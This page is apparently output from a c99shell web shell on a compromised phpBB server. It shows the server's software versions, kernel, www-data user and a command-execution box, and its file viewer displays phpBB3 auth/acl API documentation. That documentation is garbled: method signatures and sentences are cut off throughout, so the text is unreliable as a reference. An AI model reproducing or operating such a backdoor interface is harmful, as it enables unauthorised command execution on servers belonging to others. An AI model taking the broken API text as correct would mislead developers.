Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/nginx/html/phpbb3/docs/ drwxrwxr-x |
Viewing file: Select action/file-type: This is an explanation of how to use the phpBB auth/acl API. Auth API1. IntroductionWhat is it?The InitialisationTo use any methods contained with the $auth = new auth(); Once an instance of the class has been created you are free to call the various methods it contains. Please note that should you wish to use the 2. MethodsFollowing are the methods you are able to use. 2.i. aclThe
$auth->acl( Where userdata is the array containing the aforementioned data. 2.ii. acl_getThis method is the primary way of determining what a user can and cannot do for a given option globally or in a given forum. The method should be called in the following way: $result = $auth->acl_get( Where option is a string representing the required option, e.g. 'f_list', 'm_edit', 'a_adduser', etc. By adding a ! in front of the option, e.g. '!f_list' the result of this method will be negated. The optional forum term is the integer forum_id. The method returns a positive integer when the user is allowed to carry out the option and a zero if denied or the other way around if the option is prefixed with an exclamation mark. If you specify a forum and there is also a global setting for the specified option then this method will return a positive integer if one of them evaluates to a positive integer. An example would be the m_approve option which can be set per forum but also globally. If a user has the global option he will automatically have m_approve in every forum. There are some special options or flags which are used as prefixes for other options, e.g. 'f_' or 'm_'. These flags will automatically be set to a positive integer if the user has one or more permissions with the given prefix. A local setting will result in the flag being set only locally (so it will require a forum id to retrieve). If a user has one or more global permissions with the prefix acl_get will return a positive integer regardless of the forum id. 2.iii. acl_getsThis method is funtionally similar to The method should be called thus: $result = $auth->acl_gets( As with the The method will return a positive integer if 2.iv. acl_getfThis method is used to find out in which forums a user is allowed to carry out an operation or to find out in which forums he is not allowed to carry out an operation. The method should be called in the following way: $result = $auth->acl_getf( Just like in the The method returns an associative array of the form: array(forum_id1 => array(option => integer), forum_id2 => ...) Where option is the option passed to the method and integer is either zero or a positive integer and the same 2.v. acl_getf_globalThis method is used to find out whether a user has a permission in at least one forum or globally. This method is similar to checking whether
$result = acl_getf_global( As with the previous methods option is a string specifying the permission which has to be checked. This method returns either zero or a positive integer. 2.vi. acl_cacheThis should be considered a private method and not be called externally. It handles the generation of the user_permissions data from the basic user and group authorisation data. When necessary this method is called automatically by 3. Admin related functionsA number of additional methods are available related to To use any methods this class contains it first needs to be instantiated separately from $auth_admin = new auth_admin(); This instance gives you access to both the methods of this specific class and that of 4. Copyright and disclaimerThis application is opensource software released under the GPL. Please see source code and the docs directory for more details. This package and its contents are Copyright (c) 2000, 2002, 2005, 2007 phpBB Group, All Rights Reserved. |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0077 ]-- |